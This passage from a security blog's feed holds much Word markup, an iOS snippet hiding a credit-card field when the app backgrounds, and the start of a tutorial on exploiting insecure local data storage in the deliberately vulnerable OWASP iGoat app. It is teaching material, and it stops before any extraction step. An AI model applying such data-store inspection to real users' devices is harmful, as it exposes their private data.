  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; QFormat=&quot;true&quot;
   Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;41&quot; Name=&quot;Plain Table 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;42&quot; Name=&quot;Plain Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;43&quot; Name=&quot;Plain Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;44&quot; Name=&quot;Plain Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;45&quot; Name=&quot;Plain Table 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;40&quot; Name=&quot;Grid Table Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;Grid Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;Grid Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;Grid Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;List Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;List Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;List Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 6&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Table Normal&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;
 mso-para-margin-top:0in;
 mso-para-margin-right:0in;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0in;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,sans-serif;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;}
&lt;/style&gt;
&lt;![endif]--&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 10.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;- (void)applicationDidEnterBackground:(UIApplication
*)application {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 10.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;viewController.creditcardNumber.hidden
= YES;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 10.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
</description><link>http://thehackpot.blogspot.com/2015/08/unintended-data-leakage-application.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5fchJ0_ae5-vt0hVQVY0KlDkZiu8giLsxhPG3FhljPUTNElUPZDtoD0PwtrR55_9IfltgCEPn3sOAIJj_tBU-0anHnBaOcAxYFKyydi1HaE-1CJ6WBzQOLz_VuP64-XXZbQaYlyQf/s72-c/background1.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-8194078285417830000</guid><pubDate>Thu, 06 Aug 2015 14:30:00 +0000</pubDate><atom:updated>2015-08-06T15:33:40.298+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iGoat</category><category domain="http://www.blogger.com/atom/ns#">iOS</category><title>Insecure Local Data Storage iOS</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
iGoat&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
iGoat is a deliberately vulnerable mobile application that allows developers and testers to learn about common security issues that are often seen in iOS. If you want to find out more about the project then you can click on this &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_iGoat_Project#tab=Main&quot; target=&quot;_blank&quot;&gt;link&lt;/a&gt;.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Setup&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In order to run this application via a simulator you will need xcode installed from the app store. The next step is to download the latest version of iGoat &lt;a href=&quot;https://drive.google.com/folderview?id=0B4JD0hBwn1-uZmJXU0pfdEUtdlE&amp;amp;usp=sharing&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. You should be able to open the project file iGoat.xcodeproj with xcode, when you run the application you should see the simulator on the screen.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Optional: Inside the iGoat folder there is a ruby server igoat_server.rb. We do not need it for this tutorial but we will need it later on, you will need to install some necessary ruby gems - this can be done by running the command &#39;sudo gem install sinatra json&#39;. To start the server you can run the command below &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitLKDBwx09ueU7x6P1fcdQQlJc4v7KE1yFA8YjEh3n6JEDFty7pG3C8in0kFyi94YgcQjOc7s1BkBwxlDOvcLQ53JoFtxV5ZDOXrU4miPqT03K86AzGHVCeIP0rCffkO1fC8rRecTz/s1600/iGoat2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;24&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitLKDBwx09ueU7x6P1fcdQQlJc4v7KE1yFA8YjEh3n6JEDFty7pG3C8in0kFyi94YgcQjOc7s1BkBwxlDOvcLQ53JoFtxV5ZDOXrU4miPqT03K86AzGHVCeIP0rCffkO1fC8rRecTz/s320/iGoat2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Insecure Data Storage&amp;nbsp; &lt;/h3&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Insecure data storage vulnerabilities occurs when development teams 
assume that users or malware will not have access to a mobile device&#39;s 
filesystem and subsequent sensitive information in data-stores on the 
device.  Filesystems are easily accessible.  Organizations should expect
 a malicious user or malware to inspect sensitive data stores.
Rooting or jailbreaking a mobile device circumvents any encryption 
protections.  When data is not protected properly, specialized tools are
 all that is needed to view application data.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In the iGoat mobile application we will exploit sensitive data stored locally on the device. In the simulator navigate to Data Protection (Rest) &amp;gt; Local Data Storage.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitXa77MGNw0SXPorQO5brTh6lmBKFIThJ2wqzIxbZYM3OC0YtzODzDGkgVznfJHxNgpQvud3QxOXau2T3qxnNoTSMTtWdOLrM4E-Rik_Ht3wfuaEyHPuddGOPm2P3q0dmw9p1YlhR1/s1600/localdatastorage1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitXa77MGNw0SXPorQO5brTh6lmBKFIThJ2wqzIxbZYM3OC0YtzODzDGkgVznfJHxNgpQvud3QxOXau2T3qxnNoTSMTtWdOLrM4E-Rik_Ht3wfuaEyHPuddGOPm2P3q0dmw9p1YlhR1/s320/localdatastorage1.jpg&quot; width=&quot;260&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Once you click on the &#39;Start&#39; link you will see a login page similar to below. All you have to do is enter a username and password pair then login. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeH7Qs2XivkIBsTpQCkrv8BIYyG6t2EIRa0KJBj2JeXCqv_9K1m4lAlpRCfLGD5QSEuJcT1wvLQuF8omdKVl8zN9Feuys0SCdNRx7WWvzyy3YetCMBkoAqU0pj1u-RmeXD_9UssDX3/s1600/localdatastorage2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeH7Qs2XivkIBsTpQCkrv8BIYyG6t2EIRa0KJBj2JeXCqv_9K1m4lAlpRCfLGD5QSEuJcT1wvLQuF8omdKVl8zN9Feuys0SCdNRx7WWvzyy3YetCMBkoAqU0pj1u-RmeXD_9UssDX3/s320/localdatastorage2.jpg&quot; width=&quot;278&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;Now we can try and via the insecure data. Finding the correct directory can be tricky when using a simulator. First you need to locate your device, an easy way to do this is to go to Finder and enter the path below.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhml2fyc-CMFtniEwS2IkuQyud7xz0NwFC4yX8XQQDYRjDEZwE6kgsradELJACsG3wdSSQ4kOL5ZNXtEbU2qXWqU8TW1AM_xL0BQn-WFTaajRU9RaJJsUrZibNU_76fqtBH5ZlXuwTo/s1600/folder.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;93&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhml2fyc-CMFtniEwS2IkuQyud7xz0NwFC4yX8XQQDYRjDEZwE6kgsradELJACsG3wdSSQ4kOL5ZNXtEbU2qXWqU8TW1AM_xL0BQn-WFTaajRU9RaJJsUrZibNU_76fqtBH5ZlXuwTo/s320/folder.jpg&quot; width=&quot;320&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Then you can sort the directory by Date Modified to determine your current device. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
